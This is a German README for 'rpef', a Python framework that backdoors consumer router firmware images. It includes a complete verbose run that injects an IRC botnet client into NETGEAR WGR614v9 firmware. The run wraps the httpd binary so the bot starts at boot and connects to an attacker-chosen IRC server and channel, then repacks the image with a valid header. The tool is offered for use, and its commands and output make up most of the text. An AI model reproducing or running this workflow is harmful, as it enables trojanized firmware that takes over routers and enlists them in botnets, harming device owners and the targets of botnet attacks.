
Abstrahiert und beschleunigt das Einbringen von Hintertüren in Standard-Firmware-Images für Consumer-/SOHO-Router.
Derzeit beinhaltet das Framework eine Reihe von Firmware-Image-Modulen:
'Bestätigt' - Dieses Modul ist bestätigt funktionsfähig und stabil.
'Unbestätigt' - Dieses Modul sollte funktionieren oder mit geringem
zusätzlichem Aufwand funktionsfähig sein, wartet aber
auf Tests an einem physischen Gerät.
'Test' - Dieses Modul befindet sich in der Entwicklung und ist
derzeit instabil. Benutzer sollten dieses Modul als
"Work in Progress" betrachten.
'Hindernis' - Probleme haben den Fortschritt an diesem Modul vorerst
gestoppt. Bestimmte nicht verfügbare Hilfsprogramme oder
erhebliche Reverse-Engineering-Arbeiten könnten erforderlich sein.
Für eine Liste der Optionen, führen Sie aus:
./rpef.py -h
Für eine Liste aller derzeit unterstützten Firmware-Ziele, führen Sie aus:
./rpef.py -ll
Das Skript ist für Python 2.6 geschrieben und erfordert möglicherweise die Installation einiger Module. Es wird typischerweise wie folgt aufgerufen:
./rpef.py <Firmware-Image> <Ausgabedatei> <Payload>
und akzeptiert eine Reihe optionaler Schalter (siehe -h).
Das Verzeichnis rules/ enthält eine Hierarchie von rules// Verzeichnissen. Ein Modul korrespondiert mit einer Firmware-Prüfsumme (nicht mit einem bestimmten Router), da mehrere Router mit exakt derselben Firmware beobachtet wurden. Innerhalb jedes Moduls befindet sich properties.json, das die Sprache und die Arbeitsschritte speichert, die notwendig sind, um das Ziel-Firmware-Image zu entpacken, mit einer Hintertür zu versehen und neu zu verpacken. Das Verzeichnis payloads/ enthält kreuzkompilierte Binärdateien, die für den Einsatz bereit sind, und das optionale Verzeichnis dependencies/ speichert verschiedene Dateien zur Unterstützung des Prozesses.
Das Verzeichnis utilities/ enthält vorkompilierte x86-Binärdateien zur Durchführung von Aufgaben wie dem Packen/Entpacken von Dateisystemen, dem Komprimieren/Dekomprimieren von Daten (für die kein geeignetes .py-Modul existiert) und der Berechnung von Prüfsummen.
Das Verzeichnis payloads_src/ enthält den Quellcode der Payloads selbst. Alle Payloads wurden von Grund auf neu geschrieben, um sie so klein wie möglich zu halten.
Um ausführlich ein Firmware-Image für den mit einem Botnet-Client hintertürten WGR614v9 zu erstellen, führen Sie aus:
./rpef.py WGR614v9-V1.2.30_41.0.44NA.chk WGR614v9-V1.2.30_41.0.44NA_botnet.chk botnet -v
Und der Prozess sollte wie folgt ablaufen:
$ ./rpef.py WGR614v9-V1.2.30_41.0.44NA.chk WGR614v9-V1.2.30_41.0.44NA_botnet.chk botnet -v
[+] Überprüfe Checksumme
Berechnete Checksumme: 767c962037b32a5e800c3ff94a45e85e
Gefundener Zielrouter: NETGEAR WGR614v9 1.2.30NA (Bestätigt)
[+] Extrahiere Teile aus dem Firmware-Image
Schritt 1: Extrahiere WGR614v9-V1.2.30_41.0.44NA.chk, Offset 58, Größe 456708 -> /tmp/tmpOaw1tn/headerkernel.bin
Schritt 2: Extrahiere WGR614v9-V1.2.30_41.0.44NA.chk, Offset 456766, Größe 1476831 -> /tmp/tmpOaw1tn/filesystem.bin
[+] Entpacke Dateisystem
Schritt 1: unsquashfs-1.0 /tmp/tmpOaw1tn/filesystem.bin -> /tmp/tmpOaw1tn/extracted_fs
Ausführen: utilities/unsquashfs-1.0 -dest /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/filesystem.bin
217 Dateien erstellt
27 Verzeichnisse erstellt
48 symbolische Links erstellt
0 Gerätedateien erstellt
0 FIFOs erstellt
[+] Füge Payload ein
Schritt 1: Entferne /tmp/tmpOaw1tn/extracted_fs/lib/modules/2.4.20/kernel/net/ipv4/opendns/openDNS_hijack.o
Schritt 2: Kopiere rules/NETGEAR/WGR614v9_1.2.30NA/payloads/botnet /tmp/tmpOaw1tn/extracted_fs/usr/sbin/botnet
Schritt 3: Verschiebe /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd.bak
Schritt 4: Erstelle /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
Schritt 5: Hänge Text an "#!/bin/msh
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
[+] EINGABE ERFORDERLICH, IP-Adresse des IRC-Servers: 1.2.3.4
[+] EINGABE ERFORDERLICH, Port des IRC-Servers: 6667
[+] EINGABE ERFORDERLICH, Channel zum Beitreten (# inkl.): #hax
[+] EINGABE ERFORDERLICH, Präfix des Bot-Nicknamens: toteawesome
Schritt 6: Hänge Text an "/usr/sbin/botnet 1.2.3.4 6667 \#hax toteawesome &
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
Schritt 7: Hänge Text an "/usr/sbin/httpd.bak
" >> /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
Schritt 8: Setze Berechtigungen 777 für /tmp/tmpOaw1tn/extracted_fs/usr/sbin/httpd
[+] Baue Dateisystem
Schritt 1: mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs, Blockgröße 65536, Little Endian -> /tmp/tmpOaw1tn/newfs.bin
Ausführen: utilities/mksquashfs-2.1 /tmp/tmpOaw1tn/extracted_fs /tmp/tmpOaw1tn/newfs.bin -b 65536 -root-owned -le
Erstelle Little-Endian-2.1-Dateisystem auf /tmp/tmpOaw1tn/newfs.bin, Blockgröße 65536.
Little-Endian-Dateisystem, Datenblockgröße 65536, komprimierte Daten, komprimierte Metadaten, komprimierte Fragmente
Dateisystemgröße 1442.99 Kbytes (1.41 Mbytes)
29.38% der unkomprimierten Dateisystemgröße (4912.18 Kbytes)
Inode-Tabellengröße 2245 Bytes (2.19 Kbytes)
33.63% der unkomprimierten Inode-Tabellengröße (6675 Bytes)
Verzeichnis-Tabellengröße 2322 Bytes (2.27 Kbytes)
55.26% der unkomprimierten Verzeichnis-Tabellengröße (4202 Bytes)
Anzahl gefundener Duplikate: 3
Anzahl Inodes: 293
Anzahl Dateien: 218
Anzahl Fragmente: 22
Anzahl symbolischer Links: 48
Anzahl Geräteknoten: 0
Anzahl FIFO-Knoten: 0
Anzahl Socket-Knoten: 0
Anzahl Verzeichnisse: 27
Anzahl UIDs: 1
root (0)
Anzahl GIDs: 0
[+] Füge Teile zusammen
Schritt 1: Erstelle WGR614v9-V1.2.30_41.0.44NA_botnet.chk
Schritt 2: Hänge Datei an /tmp/tmpOaw1tn/headerkernel.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
Schritt 3: Hänge Datei an /tmp/tmpOaw1tn/newfs.bin >> WGR614v9-V1.2.30_41.0.44NA_botnet.chk
[+] Fülle Image mit Nullbytes auf
Schritt 1: Polstere WGR614v9-V1.2.30_41.0.44NA_botnet.chk auf Größe 1937408 mit 0 (0x00)
[+] Generiere CHK-Header
Schritt 1: Verpacke WGR614v9-V1.2.30_41.0.44NA_botnet.chk rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
Ausführen: utilities/packet -k WGR614v9-V1.2.30_41.0.44NA_botnet.chk -b rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/compatible_NA.txt -i rules/NETGEAR/WGR614v9_1.2.30NA/dependencies/ambitCfg.h
[+] Entferne temporäre Dateien
Schritt 1: Entferne Verzeichnis /tmp/tmpOaw1tn/